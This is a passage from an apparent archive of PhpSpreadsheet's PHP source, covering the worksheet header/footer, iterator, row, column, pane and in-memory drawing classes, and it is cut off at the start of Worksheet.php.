&"-,Bold"Bold&"-,Regular"Header_x000A_&D * * General Rules: * There is no required order in which these codes must appear. * * The first occurrence of the following codes turns the formatting ON, the second occurrence turns it OFF again: * - strikethrough * - superscript * - subscript * Superscript and subscript cannot both be ON at same time. Whichever comes first wins and the other is ignored, * while the first is ON. * &L - code for "left section" (there are three header / footer locations, "left", "center", and "right"). When * two or more occurrences of this section marker exist, the contents from all markers are concatenated, in the * order of appearance, and placed into the left section. * &P - code for "current page #" * &N - code for "total pages" * &font size - code for "text font size", where font size is a font size in points. * &K - code for "text font color" * RGB Color is specified as RRGGBB * Theme Color is specifed as TTSNN where TT is the theme color Id, S is either "+" or "-" of the tint/shade * value, NN is the tint/shade value. * &S - code for "text strikethrough" on / off * &X - code for "text super script" on / off * &Y - code for "text subscript" on / off * &C - code for "center section". When two or more occurrences of this section marker exist, the contents * from all markers are concatenated, in the order of appearance, and placed into the center section. * * &D - code for "date" * &T - code for "time" * &G - code for "picture as background" * &U - code for "text single underline" * &E - code for "double underline" * &R - code for "right section". When two or more occurrences of this section marker exist, the contents * from all markers are concatenated, in the order of appearance, and placed into the right section. * &Z - code for "this workbook's file path" * &F - code for "this workbook's file name" * &A - code for "sheet tab name" * &+ - code for add to page #. * &- - code for subtract from page #. * &"font name,font type" - code for "text font name" and "text font type", where font name and font type * are strings specifying the name and type of the font, separated by a comma. When a hyphen appears in font * name, it means "none specified". Both of font name and font type can be localized values. * &"-,Bold" - code for "bold font style" * &B - also means "bold font style". * &"-,Regular" - code for "regular font style" * &"-,Italic" - code for "italic font style" * &I - also means "italic font style" * &"-,Bold Italic" code for "bold italic font style" * &O - code for "outline style" * &H - code for "shadow style" * </code> */ class HeaderFooter { // Header/footer image location const IMAGE_HEADER_LEFT = 'LH'; const IMAGE_HEADER_CENTER = 'CH'; const IMAGE_HEADER_RIGHT = 'RH'; const IMAGE_FOOTER_LEFT = 'LF'; const IMAGE_FOOTER_CENTER = 'CF'; const IMAGE_FOOTER_RIGHT = 'RF'; /** * OddHeader. */ private string $oddHeader = ''; /** * OddFooter. */ private string $oddFooter = ''; /** * EvenHeader. */ private string $evenHeader = ''; /** * EvenFooter. */ private string $evenFooter = ''; /** * FirstHeader. */ private string $firstHeader = ''; /** * FirstFooter. */ private string $firstFooter = ''; /** * Different header for Odd/Even, defaults to false. */ private bool $differentOddEven = false; /** * Different header for first page, defaults to false. */ private bool $differentFirst = false; /** * Scale with document, defaults to true. */ private bool $scaleWithDocument = true; /** * Align with margins, defaults to true. */ private bool $alignWithMargins = true; /** * Header/footer images. * * @var HeaderFooterDrawing[] */ private array $headerFooterImages = []; /** * Create a new HeaderFooter. */ public function __construct() { } /** * Get OddHeader. */ public function getOddHeader(): string { return $this->oddHeader; } /** * Set OddHeader. * * @return $this */ public function setOddHeader(string $oddHeader): static { $this->oddHeader = $oddHeader; return $this; } /** * Get OddFooter. */ public function getOddFooter(): string { return $this->oddFooter; } /** * Set OddFooter. * * @return $this */ public function setOddFooter(string $oddFooter): static { $this->oddFooter = $oddFooter; return $this; } /** * Get EvenHeader. */ public function getEvenHeader(): string { return $this->evenHeader; } /** * Set EvenHeader. * * @return $this */ public function setEvenHeader(string $eventHeader): static { $this->evenHeader = $eventHeader; return $this; } /** * Get EvenFooter. */ public function getEvenFooter(): string { return $this->evenFooter; } /** * Set EvenFooter. * * @return $this */ public function setEvenFooter(string $evenFooter): static { $this->evenFooter = $evenFooter; return $this; } /** * Get FirstHeader. */ public function getFirstHeader(): string { return $this->firstHeader; } /** * Set FirstHeader. * * @return $this */ public function setFirstHeader(string $firstHeader): static { $this->firstHeader = $firstHeader; return $this; } /** * Get FirstFooter. */ public function getFirstFooter(): string { return $this->firstFooter; } /** * Set FirstFooter. * * @return $this */ public function setFirstFooter(string $firstFooter): static { $this->firstFooter = $firstFooter; return $this; } /** * Get DifferentOddEven. */ public function getDifferentOddEven(): bool { return $this->differentOddEven; } /** * Set DifferentOddEven. * * @return $this */ public function setDifferentOddEven(bool $differentOddEvent): static { $this->differentOddEven = $differentOddEvent; return $this; } /** * Get DifferentFirst. */ public function getDifferentFirst(): bool { return $this->differentFirst; } /** * Set DifferentFirst. * * @return $this */ public function setDifferentFirst(bool $differentFirst): static { $this->differentFirst = $differentFirst; return $this; } /** * Get ScaleWithDocument. */ public function getScaleWithDocument(): bool { return $this->scaleWithDocument; } /** * Set ScaleWithDocument. * * @return $this */ public function setScaleWithDocument(bool $scaleWithDocument): static { $this->scaleWithDocument = $scaleWithDocument; return $this; } /** * Get AlignWithMargins. */ public function getAlignWithMargins(): bool { return $this->alignWithMargins; } /** * Set AlignWithMargins. * * @return $this */ public function setAlignWithMargins(bool $alignWithMargins): static { $this->alignWithMargins = $alignWithMargins; return $this; } /** * Add header/footer image. * * @return $this */ public function addImage(HeaderFooterDrawing $image, string $location = self::IMAGE_HEADER_LEFT): static { $this->headerFooterImages[$location] = $image; return $this; } /** * Remove header/footer image. * * @return $this */ public function removeImage(string $location = self::IMAGE_HEADER_LEFT): static { if (isset($this->headerFooterImages[$location])) { unset($this->headerFooterImages[$location]); } return $this; } /** * Set header/footer images. * * @param HeaderFooterDrawing[] $images * * @return $this */ public function setImages(array $images): static { $this->headerFooterImages = $images; return $this; } /** * Get header/footer images. * * @return HeaderFooterDrawing[] */ public function getImages(): array { // Sort array $images = []; if (isset($this->headerFooterImages[self::IMAGE_HEADER_LEFT])) { $images[self::IMAGE_HEADER_LEFT] = $this->headerFooterImages[self::IMAGE_HEADER_LEFT]; } if (isset($this->headerFooterImages[self::IMAGE_HEADER_CENTER])) { $images[self::IMAGE_HEADER_CENTER] = $this->headerFooterImages[self::IMAGE_HEADER_CENTER]; } if (isset($this->headerFooterImages[self::IMAGE_HEADER_RIGHT])) { $images[self::IMAGE_HEADER_RIGHT] = $this->headerFooterImages[self::IMAGE_HEADER_RIGHT]; } if (isset($this->headerFooterImages[self::IMAGE_FOOTER_LEFT])) { $images[self::IMAGE_FOOTER_LEFT] = $this->headerFooterImages[self::IMAGE_FOOTER_LEFT]; } if (isset($this->headerFooterImages[self::IMAGE_FOOTER_CENTER])) { $images[self::IMAGE_FOOTER_CENTER] = $this->headerFooterImages[self::IMAGE_FOOTER_CENTER]; } if (isset($this->headerFooterImages[self::IMAGE_FOOTER_RIGHT])) { $images[self::IMAGE_FOOTER_RIGHT] = $this->headerFooterImages[self::IMAGE_FOOTER_RIGHT]; } $this->headerFooterImages = $images; return $this->headerFooterImages; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/ColumnIterator.php000064400000010512151676714400022701 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use Iterator as NativeIterator; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; /** * @implements NativeIterator<string, Column> */ class ColumnIterator implements NativeIterator { /** * Worksheet to iterate. */ private Worksheet $worksheet; /** * Current iterator position. */ private int $currentColumnIndex = 1; /** * Start position. */ private int $startColumnIndex = 1; /** * End position. */ private int $endColumnIndex = 1; /** * Create a new column iterator. * * @param Worksheet $worksheet The worksheet to iterate over * @param string $startColumn The column address at which to start iterating * @param ?string $endColumn Optionally, the column address at which to stop iterating */ public function __construct(Worksheet $worksheet, string $startColumn = 'A', ?string $endColumn = null) { // Set subject $this->worksheet = $worksheet; $this->resetEnd($endColumn); $this->resetStart($startColumn); } /** * Destructor. */ public function __destruct() { unset($this->worksheet); } /** * (Re)Set the start column and the current column pointer. * * @param string $startColumn The column address at which to start iterating * * @return $this */ public function resetStart(string $startColumn = 'A'): static { $startColumnIndex = Coordinate::columnIndexFromString($startColumn); if ($startColumnIndex > Coordinate::columnIndexFromString($this->worksheet->getHighestColumn())) { throw new Exception( "Start column ({$startColumn}) is beyond highest column ({$this->worksheet->getHighestColumn()})" ); } $this->startColumnIndex = $startColumnIndex; if ($this->endColumnIndex < $this->startColumnIndex) { $this->endColumnIndex = $this->startColumnIndex; } $this->seek($startColumn); return $this; } /** * (Re)Set the end column. * * @param ?string $endColumn The column address at which to stop iterating * * @return $this */ public function resetEnd(?string $endColumn = null): static { $endColumn = $endColumn ?: $this->worksheet->getHighestColumn(); $this->endColumnIndex = Coordinate::columnIndexFromString($endColumn); return $this; } /** * Set the column pointer to the selected column. * * @param string $column The column address to set the current pointer at * * @return $this */ public function seek(string $column = 'A'): static { $column = Coordinate::columnIndexFromString($column); if (($column < $this->startColumnIndex) || ($column > $this->endColumnIndex)) { throw new PhpSpreadsheetException( "Column $column is out of range ({$this->startColumnIndex} - {$this->endColumnIndex})" ); } $this->currentColumnIndex = $column; return $this; } /** * Rewind the iterator to the starting column. */ public function rewind(): void { $this->currentColumnIndex = $this->startColumnIndex; } /** * Return the current column in this worksheet. */ public function current(): Column { return new Column($this->worksheet, Coordinate::stringFromColumnIndex($this->currentColumnIndex)); } /** * Return the current iterator key. */ public function key(): string { return Coordinate::stringFromColumnIndex($this->currentColumnIndex); } /** * Set the iterator to its next value. */ public function next(): void { ++$this->currentColumnIndex; } /** * Set the iterator to its previous value. */ public function prev(): void { --$this->currentColumnIndex; } /** * Indicate if more columns exist in the worksheet range of columns that we're iterating. */ public function valid(): bool { return $this->currentColumnIndex <= $this->endColumnIndex && $this->currentColumnIndex >= $this->startColumnIndex; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Pane.php000064400000001572151676714400020623 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; class Pane { private string $sqref; private string $activeCell; private string $position; public function __construct(string $position, string $sqref = '', string $activeCell = '') { $this->sqref = $sqref; $this->activeCell = $activeCell; $this->position = $position; } public function getPosition(): string { return $this->position; } public function getSqref(): string { return $this->sqref; } public function setSqref(string $sqref): self { $this->sqref = $sqref; return $this; } public function getActiveCell(): string { return $this->activeCell; } public function setActiveCell(string $activeCell): self { $this->activeCell = $activeCell; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/RowCellIterator.php000064400000013651151676714400023022 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; /** * @extends CellIterator<string> */ class RowCellIterator extends CellIterator { /** * Current iterator position. */ private int $currentColumnIndex; /** * Row index. */ private int $rowIndex; /** * Start position. */ private int $startColumnIndex = 1; /** * End position. */ private int $endColumnIndex = 1; /** * Create a new column iterator. * * @param Worksheet $worksheet The worksheet to iterate over * @param int $rowIndex The row that we want to iterate * @param string $startColumn The column address at which to start iterating * @param ?string $endColumn Optionally, the column address at which to stop iterating */ public function __construct(Worksheet $worksheet, int $rowIndex = 1, string $startColumn = 'A', ?string $endColumn = null, bool $iterateOnlyExistingCells = false) { // Set subject and row index $this->worksheet = $worksheet; $this->cellCollection = $worksheet->getCellCollection(); $this->rowIndex = $rowIndex; $this->resetEnd($endColumn); $this->resetStart($startColumn); $this->setIterateOnlyExistingCells($iterateOnlyExistingCells); } /** * (Re)Set the start column and the current column pointer. * * @param string $startColumn The column address at which to start iterating * * @return $this */ public function resetStart(string $startColumn = 'A'): static { $this->startColumnIndex = Coordinate::columnIndexFromString($startColumn); $this->adjustForExistingOnlyRange(); $this->seek(Coordinate::stringFromColumnIndex($this->startColumnIndex)); return $this; } /** * (Re)Set the end column. * * @param ?string $endColumn The column address at which to stop iterating * * @return $this */ public function resetEnd(?string $endColumn = null): static { $endColumn = $endColumn ?: $this->worksheet->getHighestColumn(); $this->endColumnIndex = Coordinate::columnIndexFromString($endColumn); $this->adjustForExistingOnlyRange(); return $this; } /** * Set the column pointer to the selected column. * * @param string $column The column address to set the current pointer at * * @return $this */ public function seek(string $column = 'A'): static { $columnId = Coordinate::columnIndexFromString($column); if ($this->onlyExistingCells && !($this->cellCollection->has($column . $this->rowIndex))) { throw new PhpSpreadsheetException('In "IterateOnlyExistingCells" mode and Cell does not exist'); } if (($columnId < $this->startColumnIndex) || ($columnId > $this->endColumnIndex)) { throw new PhpSpreadsheetException("Column $column is out of range ({$this->startColumnIndex} - {$this->endColumnIndex})"); } $this->currentColumnIndex = $columnId; return $this; } /** * Rewind the iterator to the starting column. */ public function rewind(): void { $this->currentColumnIndex = $this->startColumnIndex; } /** * Return the current cell in this worksheet row. */ public function current(): ?Cell { $cellAddress = Coordinate::stringFromColumnIndex($this->currentColumnIndex) . $this->rowIndex; return $this->cellCollection->has($cellAddress) ? $this->cellCollection->get($cellAddress) : ( $this->ifNotExists === self::IF_NOT_EXISTS_CREATE_NEW ? $this->worksheet->createNewCell($cellAddress) : null ); } /** * Return the current iterator key. */ public function key(): string { return Coordinate::stringFromColumnIndex($this->currentColumnIndex); } /** * Set the iterator to its next value. */ public function next(): void { do { ++$this->currentColumnIndex; } while (($this->onlyExistingCells) && (!$this->cellCollection->has(Coordinate::stringFromColumnIndex($this->currentColumnIndex) . $this->rowIndex)) && ($this->currentColumnIndex <= $this->endColumnIndex)); } /** * Set the iterator to its previous value. */ public function prev(): void { do { --$this->currentColumnIndex; } while (($this->onlyExistingCells) && (!$this->cellCollection->has(Coordinate::stringFromColumnIndex($this->currentColumnIndex) . $this->rowIndex)) && ($this->currentColumnIndex >= $this->startColumnIndex)); } /** * Indicate if more columns exist in the worksheet range of columns that we're iterating. */ public function valid(): bool { return $this->currentColumnIndex <= $this->endColumnIndex && $this->currentColumnIndex >= $this->startColumnIndex; } /** * Return the current iterator position. */ public function getCurrentColumnIndex(): int { return $this->currentColumnIndex; } /** * Validate start/end values for "IterateOnlyExistingCells" mode, and adjust if necessary. */ protected function adjustForExistingOnlyRange(): void { if ($this->onlyExistingCells) { while ((!$this->cellCollection->has(Coordinate::stringFromColumnIndex($this->startColumnIndex) . $this->rowIndex)) && ($this->startColumnIndex <= $this->endColumnIndex)) { ++$this->startColumnIndex; } while ((!$this->cellCollection->has(Coordinate::stringFromColumnIndex($this->endColumnIndex) . $this->rowIndex)) && ($this->endColumnIndex >= $this->startColumnIndex)) { --$this->endColumnIndex; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Iterator.php000064400000002313151676714400021523 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Spreadsheet; /** * @implements \Iterator<int, Worksheet> */ class Iterator implements \Iterator { /** * Spreadsheet to iterate. */ private Spreadsheet $subject; /** * Current iterator position. */ private int $position = 0; /** * Create a new worksheet iterator. */ public function __construct(Spreadsheet $subject) { // Set subject $this->subject = $subject; } /** * Rewind iterator. */ public function rewind(): void { $this->position = 0; } /** * Current Worksheet. */ public function current(): Worksheet { return $this->subject->getSheet($this->position); } /** * Current key. */ public function key(): int { return $this->position; } /** * Next value. */ public function next(): void { ++$this->position; } /** * Are there more Worksheet instances available? */ public function valid(): bool { return $this->position < $this->subject->getSheetCount() && $this->position >= 0; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/MemoryDrawing.php000064400000020742151676714400022524 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use GdImage; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Shared\File; class MemoryDrawing extends BaseDrawing { // Rendering functions const RENDERING_DEFAULT = 'imagepng'; const RENDERING_PNG = 'imagepng'; const RENDERING_GIF = 'imagegif'; const RENDERING_JPEG = 'imagejpeg'; // MIME types const MIMETYPE_DEFAULT = 'image/png'; const MIMETYPE_PNG = 'image/png'; const MIMETYPE_GIF = 'image/gif'; const MIMETYPE_JPEG = 'image/jpeg'; const SUPPORTED_MIME_TYPES = [ self::MIMETYPE_GIF, self::MIMETYPE_JPEG, self::MIMETYPE_PNG, ]; /** * Image resource. */ private null|GdImage $imageResource = null; /** * Rendering function. */ private string $renderingFunction; /** * Mime type. */ private string $mimeType; /** * Unique name. */ private string $uniqueName; /** * Create a new MemoryDrawing. */ public function __construct() { // Initialise values $this->renderingFunction = self::RENDERING_DEFAULT; $this->mimeType = self::MIMETYPE_DEFAULT; $this->uniqueName = md5(mt_rand(0, 9999) . time() . mt_rand(0, 9999)); // Initialize parent parent::__construct(); } public function __destruct() { if ($this->imageResource) { @imagedestroy($this->imageResource); $this->imageResource = null; } $this->worksheet = null; } public function __clone() { parent::__clone(); $this->cloneResource(); } private function cloneResource(): void { if (!$this->imageResource) { return; } $width = (int) imagesx($this->imageResource); $height = (int) imagesy($this->imageResource); if (imageistruecolor($this->imageResource)) { $clone = imagecreatetruecolor($width, $height); if (!$clone) { throw new Exception('Could not clone image resource'); } imagealphablending($clone, false); imagesavealpha($clone, true); } else { $clone = imagecreate($width, $height); if (!$clone) { throw new Exception('Could not clone image resource'); } // If the image has transparency... $transparent = imagecolortransparent($this->imageResource); if ($transparent >= 0) { $rgb = imagecolorsforindex($this->imageResource, $transparent); if (empty($rgb)) { throw new Exception('Could not get image colors'); } imagesavealpha($clone, true); $color = imagecolorallocatealpha($clone, $rgb['red'], $rgb['green'], $rgb['blue'], $rgb['alpha']); if ($color === false) { throw new Exception('Could not get image alpha color'); } imagefill($clone, 0, 0, $color); } } //Create the Clone!! imagecopy($clone, $this->imageResource, 0, 0, 0, 0, $width, $height); $this->imageResource = $clone; } /** * @param resource $imageStream Stream data to be converted to a Memory Drawing * * @throws Exception */ public static function fromStream($imageStream): self { $streamValue = stream_get_contents($imageStream); if ($streamValue === false) { throw new Exception('Unable to read data from stream'); } return self::fromString($streamValue); } /** * @param string $imageString String data to be converted to a Memory Drawing * * @throws Exception */ public static function fromString(string $imageString): self { $gdImage = @imagecreatefromstring($imageString); if ($gdImage === false) { throw new Exception('Value cannot be converted to an image'); } $mimeType = self::identifyMimeType($imageString); if (imageistruecolor($gdImage) || imagecolortransparent($gdImage) >= 0) { imagesavealpha($gdImage, true); } $renderingFunction = self::identifyRenderingFunction($mimeType); $drawing = new self(); $drawing->setImageResource($gdImage); $drawing->setRenderingFunction($renderingFunction); $drawing->setMimeType($mimeType); return $drawing; } private static function identifyRenderingFunction(string $mimeType): string { return match ($mimeType) { self::MIMETYPE_PNG => self::RENDERING_PNG, self::MIMETYPE_JPEG => self::RENDERING_JPEG, self::MIMETYPE_GIF => self::RENDERING_GIF, default => self::RENDERING_DEFAULT, }; } /** * @throws Exception */ private static function identifyMimeType(string $imageString): string { $temporaryFileName = File::temporaryFilename(); file_put_contents($temporaryFileName, $imageString); $mimeType = self::identifyMimeTypeUsingExif($temporaryFileName); if ($mimeType !== null) { unlink($temporaryFileName); return $mimeType; } $mimeType = self::identifyMimeTypeUsingGd($temporaryFileName); if ($mimeType !== null) { unlink($temporaryFileName); return $mimeType; } unlink($temporaryFileName); return self::MIMETYPE_DEFAULT; } private static function identifyMimeTypeUsingExif(string $temporaryFileName): ?string { if (function_exists('exif_imagetype')) { $imageType = @exif_imagetype($temporaryFileName); $mimeType = ($imageType) ? image_type_to_mime_type($imageType) : null; return self::supportedMimeTypes($mimeType); } return null; } private static function identifyMimeTypeUsingGd(string $temporaryFileName): ?string { if (function_exists('getimagesize')) { $imageSize = @getimagesize($temporaryFileName); if (is_array($imageSize)) { $mimeType = $imageSize['mime']; return self::supportedMimeTypes($mimeType); } } return null; } private static function supportedMimeTypes(?string $mimeType = null): ?string { if (in_array($mimeType, self::SUPPORTED_MIME_TYPES, true)) { return $mimeType; } return null; } /** * Get image resource. */ public function getImageResource(): ?GdImage { return $this->imageResource; } /** * Set image resource. * * @return $this */ public function setImageResource(?GdImage $value): static { $this->imageResource = $value; if ($this->imageResource !== null) { // Get width/height $this->width = (int) imagesx($this->imageResource); $this->height = (int) imagesy($this->imageResource); } return $this; } /** * Get rendering function. */ public function getRenderingFunction(): string { return $this->renderingFunction; } /** * Set rendering function. * * @param string $value see self::RENDERING_* * * @return $this */ public function setRenderingFunction(string $value): static { $this->renderingFunction = $value; return $this; } /** * Get mime type. */ public function getMimeType(): string { return $this->mimeType; } /** * Set mime type. * * @param string $value see self::MIMETYPE_* * * @return $this */ public function setMimeType(string $value): static { $this->mimeType = $value; return $this; } /** * Get indexed filename (using image index). */ public function getIndexedFilename(): string { $extension = strtolower($this->getMimeType()); $extension = explode('/', $extension); $extension = $extension[1]; return $this->uniqueName . $this->getImageIndex() . '.' . $extension; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->renderingFunction . $this->mimeType . $this->uniqueName . parent::getHashCode() . __CLASS__ ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Column.php000064400000007646151676714400021205 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; class Column { private Worksheet $worksheet; /** * Column index. */ private string $columnIndex; /** * Create a new column. */ public function __construct(Worksheet $worksheet, string $columnIndex = 'A') { // Set parent and column index $this->worksheet = $worksheet; $this->columnIndex = $columnIndex; } /** * Destructor. */ public function __destruct() { unset($this->worksheet); } /** * Get column index as string eg: 'A'. */ public function getColumnIndex(): string { return $this->columnIndex; } /** * Get cell iterator. * * @param int $startRow The row number at which to start iterating * @param ?int $endRow Optionally, the row number at which to stop iterating */ public function getCellIterator(int $startRow = 1, ?int $endRow = null, bool $iterateOnlyExistingCells = false): ColumnCellIterator { return new ColumnCellIterator($this->worksheet, $this->columnIndex, $startRow, $endRow, $iterateOnlyExistingCells); } /** * Get row iterator. Synonym for getCellIterator(). * * @param int $startRow The row number at which to start iterating * @param ?int $endRow Optionally, the row number at which to stop iterating */ public function getRowIterator(int $startRow = 1, ?int $endRow = null, bool $iterateOnlyExistingCells = false): ColumnCellIterator { return $this->getCellIterator($startRow, $endRow, $iterateOnlyExistingCells); } /** * Returns a boolean true if the column contains no cells. By default, this means that no cell records exist in the * collection for this column. false will be returned otherwise. * This rule can be modified by passing a $definitionOfEmptyFlags value: * 1 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL If the only cells in the collection are null value * cells, then the column will be considered empty. * 2 - CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL If the only cells in the collection are empty * string value cells, then the column will be considered empty. * 3 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL | CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * If the only cells in the collection are null value or empty string value cells, then the column * will be considered empty. * * @param int $definitionOfEmptyFlags * Possible Flag Values are: * CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL * CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * @param int $startRow The row number at which to start checking if cells are empty * @param ?int $endRow Optionally, the row number at which to stop checking if cells are empty */ public function isEmpty(int $definitionOfEmptyFlags = 0, int $startRow = 1, ?int $endRow = null): bool { $nullValueCellIsEmpty = (bool) ($definitionOfEmptyFlags & CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL); $emptyStringCellIsEmpty = (bool) ($definitionOfEmptyFlags & CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL); $cellIterator = $this->getCellIterator($startRow, $endRow); $cellIterator->setIterateOnlyExistingCells(true); foreach ($cellIterator as $cell) { $value = $cell->getValue(); if ($value === null && $nullValueCellIsEmpty === true) { continue; } if ($value === '' && $emptyStringCellIsEmpty === true) { continue; } return false; } return true; } /** * Returns bound worksheet. */ public function getWorksheet(): Worksheet { return $this->worksheet; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/RowIterator.php000064400000006740151676714400022223 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use Iterator as NativeIterator; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; /** * @implements NativeIterator<int, Row> */ class RowIterator implements NativeIterator { /** * Worksheet to iterate. */ private Worksheet $subject; /** * Current iterator position. */ private int $position = 1; /** * Start position. */ private int $startRow = 1; /** * End position. */ private int $endRow = 1; /** * Create a new row iterator. * * @param Worksheet $subject The worksheet to iterate over * @param int $startRow The row number at which to start iterating * @param ?int $endRow Optionally, the row number at which to stop iterating */ public function __construct(Worksheet $subject, int $startRow = 1, ?int $endRow = null) { // Set subject $this->subject = $subject; $this->resetEnd($endRow); $this->resetStart($startRow); } public function __destruct() { unset($this->subject); } /** * (Re)Set the start row and the current row pointer. * * @param int $startRow The row number at which to start iterating * * @return $this */ public function resetStart(int $startRow = 1): static { if ($startRow > $this->subject->getHighestRow()) { throw new PhpSpreadsheetException( "Start row ({$startRow}) is beyond highest row ({$this->subject->getHighestRow()})" ); } $this->startRow = $startRow; if ($this->endRow < $this->startRow) { $this->endRow = $this->startRow; } $this->seek($startRow); return $this; } /** * (Re)Set the end row. * * @param ?int $endRow The row number at which to stop iterating * * @return $this */ public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; } /** * Set the row pointer to the selected row. * * @param int $row The row number to set the current pointer at * * @return $this */ public function seek(int $row = 1): static { if (($row < $this->startRow) || ($row > $this->endRow)) { throw new PhpSpreadsheetException("Row $row is out of range ({$this->startRow} - {$this->endRow})"); } $this->position = $row; return $this; } /** * Rewind the iterator to the starting row. */ public function rewind(): void { $this->position = $this->startRow; } /** * Return the current row in this worksheet. */ public function current(): Row { return new Row($this->subject, $this->position); } /** * Return the current iterator key. */ public function key(): int { return $this->position; } /** * Set the iterator to its next value. */ public function next(): void { ++$this->position; } /** * Set the iterator to its previous value. */ public function prev(): void { --$this->position; } /** * Indicate if more rows exist in the worksheet range of rows that we're iterating. */ public function valid(): bool { return $this->position <= $this->endRow && $this->position >= $this->startRow; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Row.php000064400000007713151676714400020512 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; class Row { private Worksheet $worksheet; /** * Row index. */ private int $rowIndex; /** * Create a new row. */ public function __construct(Worksheet $worksheet, int $rowIndex = 1) { // Set parent and row index $this->worksheet = $worksheet; $this->rowIndex = $rowIndex; } /** * Destructor. */ public function __destruct() { unset($this->worksheet); } /** * Get row index. */ public function getRowIndex(): int { return $this->rowIndex; } /** * Get cell iterator. * * @param string $startColumn The column address at which to start iterating * @param ?string $endColumn Optionally, the column address at which to stop iterating */ public function getCellIterator(string $startColumn = 'A', ?string $endColumn = null, bool $iterateOnlyExistingCells = false): RowCellIterator { return new RowCellIterator($this->worksheet, $this->rowIndex, $startColumn, $endColumn, $iterateOnlyExistingCells); } /** * Get column iterator. Synonym for getCellIterator(). * * @param string $startColumn The column address at which to start iterating * @param ?string $endColumn Optionally, the column address at which to stop iterating */ public function getColumnIterator(string $startColumn = 'A', ?string $endColumn = null, bool $iterateOnlyExistingCells = false): RowCellIterator { return $this->getCellIterator($startColumn, $endColumn, $iterateOnlyExistingCells); } /** * Returns a boolean true if the row contains no cells. By default, this means that no cell records exist in the * collection for this row. false will be returned otherwise. * This rule can be modified by passing a $definitionOfEmptyFlags value: * 1 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL If the only cells in the collection are null value * cells, then the row will be considered empty. * 2 - CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL If the only cells in the collection are empty * string value cells, then the row will be considered empty. * 3 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL | CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * If the only cells in the collection are null value or empty string value cells, then the row * will be considered empty. * * @param int $definitionOfEmptyFlags * Possible Flag Values are: * CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL * CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * @param string $startColumn The column address at which to start checking if cells are empty * @param ?string $endColumn Optionally, the column address at which to stop checking if cells are empty */ public function isEmpty(int $definitionOfEmptyFlags = 0, string $startColumn = 'A', ?string $endColumn = null): bool { $nullValueCellIsEmpty = (bool) ($definitionOfEmptyFlags & CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL); $emptyStringCellIsEmpty = (bool) ($definitionOfEmptyFlags & CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL); $cellIterator = $this->getCellIterator($startColumn, $endColumn); $cellIterator->setIterateOnlyExistingCells(true); foreach ($cellIterator as $cell) { $value = $cell->getValue(); if ($value === null && $nullValueCellIsEmpty === true) { continue; } if ($value === '' && $emptyStringCellIsEmpty === true) { continue; } return false; } return true; } /** * Returns bound worksheet. */ public function getWorksheet(): Worksheet { return $this->worksheet; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Worksheet.php000064400000353061151676714400021716 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use ArrayObject; use Generator; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\CellAddress; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Cell\DataValidation; use PhpOffice\PhpSpreadsheet\Cell\Hyperlink; use PhpOffice\PhpSpreadsheet\Cell\IValueBinder; use PhpOffice\PhpSpreadsheet\Chart\Chart; use PhpOffice\PhpSpreadsheet\Collection\Cells; use PhpOffice\PhpSpreadsheet\Collection\CellsFactory; use PhpOffice\PhpSpreadsheet\Comment; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\IComparable; use 